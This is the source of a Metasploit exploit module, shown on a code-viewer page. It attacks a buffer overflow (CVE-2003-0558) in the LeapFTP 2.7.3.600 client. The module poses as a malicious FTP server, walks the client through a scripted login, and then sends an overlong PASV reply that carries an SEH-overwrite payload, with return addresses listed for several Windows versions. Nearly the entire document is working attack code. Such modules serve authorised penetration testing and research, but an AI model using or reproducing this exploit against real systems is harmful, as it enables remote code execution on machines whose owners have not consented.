CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = NormalRanking
8

9
  include Msf::Exploit::Remote::TcpServer
10
  include Msf::Exploit::Remote::Seh
11

12
  def initialize(info = {})
13
    super(update_info(info,
14
      'Name'           => 'LeapWare LeapFTP v2.7.3.600 PASV Reply Client Overflow',
15
      'Description'    => %q{
16
          This module exploits a buffer overflow in the LeapWare LeapFTP v2.7.3.600
17
        client that is triggered through an excessively long PASV reply command. This
18
        module was ported from the original exploit by drG4njubas with minor improvements.
19
      },
20
      'Author' 	 => [ 'aushack' ],
21
      'License'        => MSF_LICENSE,
22
      'References'     =>
23
        [
24
          [ 'CVE', '2003-0558' ],
25
          [ 'OSVDB', '4587' ],
26
          [ 'BID', '7860' ],
27
          [ 'EDB', '54' ]
28
        ],
29
      'DefaultOptions' =>
30
        {
31
          'EXITFUNC' => 'seh',
32
        },
33
      'Payload'        =>
34
        {
35
          'Space'    => 1000,
36
          'BadChars' => "\x00\x0a\x0d\().,",
37
          'StackAdjustment' => -3500,
38
        },
39
      'Platform'       => 'win',
40
      'Targets'        =>
41
        [
42
          # Patrick - Tested against w2k sp0, sp4, xp sp0, xp sp2 en OK.
43
          [ 'Universal LeapFTP.exe', 	{ 'Ret' => 0x004bdd24 } ], # p/p/r LeapFTP.exe
44
          [ 'Windows 2000 SP0/4 English', { 'Ret' => 0x75022ac4 } ], # p/p/r ws2help.dll
45
          [ 'Windows XP SP0 English',	{ 'Ret' => 0x7660139c }	], # p/p/r cscdll.dll
46
        ],
47
      'Privileged'     => false,
48
      'DisclosureDate' => '2003-06-09',
49
      'DefaultTarget'  => 0))
50

51
    register_options(
52
      [
53
        OptPort.new('SRVPORT', [ true, "The FTP daemon port to listen on", 21 ]),
54
        OptString.new('SRVNAME', [ true, "Welcome to the ... FTP Service", "Test" ]),
55
      ])
56
  end
57

58
  def on_client_connect(client)
59
    return if ((p = regenerate_payload(client)) == nil)
60

61
    buffer = "220 Welcome to the " + datastore['SRVNAME'] + " FTP Service.\r\n"
62
    client.put(buffer)
63
  end
64

65
  def on_client_data(client)
66

67

68
    client.get_once
69

70
    # This could be improved if anyone wants to write a FTP server API.
71
    user = "331 Please specify the password.\r\n"
72
    client.put(user)
73

74
    client.get_once
75
    pass = "230 Login successful.\r\n"
76
    client.put(pass)
77

78
    client.get_once
79
    syst = "215 Windows_NT 5.1\r\n"
80
    client.put(syst)
81

82
    client.get_once
83
    rest = "350 Restart position accepted (100).\r\n"
84
    client.put(rest)
85

86
    client.get_once
87
    rest = "350 Restart position accepted (0).\r\n"
88
    client.put(rest)
89

90
    client.get_once
91
    pwd = "257 \"/\"\r\n"
92
    client.put(pwd)
93

94
    client.get_once
95
    type = "200 Switching to ASCII mode.\r\n"
96
    client.put(type)
97

98
    client.get_once
99
    port = "500 Illegal PORT command.\r\n" # We force LeapFTP to use PASV. It will try PORT first.
100
    client.put(port)
101

102
    client.get_once
103
    pasv = "227 Entering Passive Mode ("
104
    pasv << rand_text_numeric(1053) + generate_seh_payload(target.ret)
105
    pasv << "," + rand_text_numeric(1)
106
    pasv << "," + rand_text_numeric(1)
107
    pasv << "," + rand_text_numeric(1)
108
    pasv << "," + rand_text_numeric(1)
109
    pasv << "," + rand_text_numeric(1)
110
    pasv << ")\r\n"
111

112
    client.put(pasv)
113

114
    handler(client)
115
    service.close_client(client)
116
  end
117
end
118

119